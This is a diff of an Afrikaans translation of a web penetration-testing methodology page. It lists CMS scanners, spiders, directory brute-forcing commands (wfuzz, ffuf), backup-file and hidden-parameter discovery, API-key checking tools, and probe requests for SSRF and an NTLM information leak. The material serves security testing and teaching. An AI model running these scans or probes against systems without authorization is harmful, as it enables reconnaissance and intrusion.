[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir sekuriteitskwessies. (GUI)\
|
||||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **of** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **of** [**(M)oodle**](moodle.md)\
|
||||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
|
@ -164,7 +166,7 @@ wpscan --force update -e --url <URL>
|
||||||
joomscan --ec -u <URL>
|
joomscan --ec -u <URL>
|
||||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
```
|
```
|
||||||
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar truuks om in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop.
|
> Op hierdie punt behoort jy reeds 'n paar inligting oor die webbediener wat deur die kliënt gebruik word (indien enige data gegee is) en 'n paar truuks in gedagte te hou tydens die toets. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n skandeerder laat loop.
|
||||||
|
|
||||||
## Stap-vir-stap Webtoepassing Ontdekking
|
## Stap-vir-stap Webtoepassing Ontdekking
|
||||||
|
|
||||||
|
@ -179,11 +181,11 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
* /crossdomain.xml
|
* /crossdomain.xml
|
||||||
* /clientaccesspolicy.xml
|
* /clientaccesspolicy.xml
|
||||||
* /.well-known/
|
* /.well-known/
|
||||||
* Kyk ook na kommentaar in die hoof- en sekondêre bladsye.
|
* Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
|
||||||
|
|
||||||
**Dwing foute**
|
**Dwing foute**
|
||||||
|
|
||||||
Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **ontsluiting van sensitiewe inligting** oopmaak.
|
Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||||
|
|
||||||
* Toegang tot **valse bladsye** soos /whatever\_fake.php (.aspx,.html,.ens)
|
* Toegang tot **valse bladsye** soos /whatever\_fake.php (.aspx,.html,.ens)
|
||||||
* **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes om foute te skep
|
* **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes om foute te skep
|
||||||
|
@ -195,7 +197,7 @@ Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle ges
|
||||||
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
|
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
|
||||||
|
|
||||||
* **Brute Force** akrediteer
|
* **Brute Force** akrediteer
|
||||||
* **Laai lêers op** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
* **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||||
|
|
||||||
### **SSL/TLS kwesbaarhede**
|
### **SSL/TLS kwesbaarhede**
|
||||||
|
|
||||||
|
@ -218,39 +220,39 @@ Inligting oor SSL/TLS kwesbaarhede:
|
||||||
|
|
||||||
### Spidering
|
### Spidering
|
||||||
|
|
||||||
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel paaie as moontlik** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||||
|
|
||||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
|
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
|
||||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
|
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
|
||||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
|
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
|
||||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
|
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paaie aandui en meg sal elke pad op elke host haal en die antwoord stoor.
|
||||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
|
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die voorafgecompileerde weergawe is oud en die huidige kode compileer nie.
|
||||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
|
* [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
|
||||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
|
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
|
||||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
|
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
|
||||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
||||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
||||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX-versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
||||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van 'n slim regulêre uitdrukking om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
||||||
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
||||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai.
|
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
||||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en params in JS-lêers te vind.
|
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind.
|
||||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry.
|
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry.
|
||||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
||||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
||||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
|
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
|
||||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
|
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
|
||||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
|
||||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
|
* [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
|
||||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
|
* [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
|
||||||
|
|
||||||
### Brute Force directories and files
|
### Brute Force directories and files
|
||||||
|
|
||||||
Begin **brute-forcing** vanaf die wortelgids en wees seker om **alle** die **gidsen wat gevind is** te brute-force met **hierdie metode** en al die gidsen **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde gidsen aan die begin van die gebruikte woordlys voeg).\
|
Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
|
||||||
Hulpmiddels:
|
Hulpmiddels:
|
||||||
|
|
||||||
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
|
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
|
||||||
|
@ -260,7 +262,7 @@ Hulpmiddels:
|
||||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||||
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
|
||||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van gidsen uit die burp geskiedenis van verskillende bladsye te skep.
|
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
|
||||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
|
||||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
|
* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
|
||||||
|
|
||||||
|
@ -283,19 +285,19 @@ Hulpmiddels:
|
||||||
* _/usr/share/wordlists/dirb/big.txt_
|
* _/usr/share/wordlists/dirb/big.txt_
|
||||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||||
|
|
||||||
_Nota dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit brute-forced moet word._
|
_Nota dat enige tyd wanneer 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit brute-forced moet word._
|
||||||
|
|
||||||
### Wat om te kontroleer op elke gevonde lêer
|
### Wat om te kontroleer op elke lêer wat gevind is
|
||||||
|
|
||||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word.
|
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word.
|
||||||
* **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
* **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||||
* **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
|
* **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
|
||||||
* _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
* _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
|
||||||
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** binne kommentaar aan die **regte** van die **bladsy** te **versteek** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te **versteek**.
|
* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaasmiddel oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
||||||
* **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
* **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||||
* Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
* Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
||||||
* **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/).
|
* **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/).
|
||||||
|
@ -310,7 +312,7 @@ _Nota dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spi
|
||||||
* [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
|
* [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
|
||||||
* As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
* As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||||
* As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
* As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
||||||
* **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te **monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.**
|
* **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
|
||||||
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
||||||
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||||
|
@ -327,17 +329,17 @@ _Nota dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spi
|
||||||
|
|
||||||
**502 Proxy Fout**
|
**502 Proxy Fout**
|
||||||
|
|
||||||
As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te kry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
|
As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
|
||||||
|
|
||||||
**NTLM Verifikasie - Inligting openbaar**
|
**NTLM Verifikasie - Inligting openbaar**
|
||||||
|
|
||||||
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeld vra wat om jou **akkrediteer** (en vra vir **domein** **naam**), kan jy 'n **inligting openbaar** veroorsaak.\
|
As die bediener wat om verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
|
||||||
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
||||||
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
|
Jy kan **dit outomatiseer** met behulp van die **nmap plugin** "_http-ntlm-info.nse_".
|
||||||
|
|
||||||
**HTTP Oorplasing (CTF)**
|
**HTTP Oorplasing (CTF)**
|
||||||
|
|
||||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word nie (aangesien die blaaiers die oorplasing sal uitvoer) maar iets kan **versteek** wees daarin.
|
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaasmiddel die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
|
||||||
|
|
||||||
### Web Kwesbaarhede Kontroleer
|
### Web Kwesbaarhede Kontroleer
|
||||||
|
|
||||||
|
@ -357,11 +359,13 @@ Vind meer inligting oor web kwesbaarhede in:
|
||||||
|
|
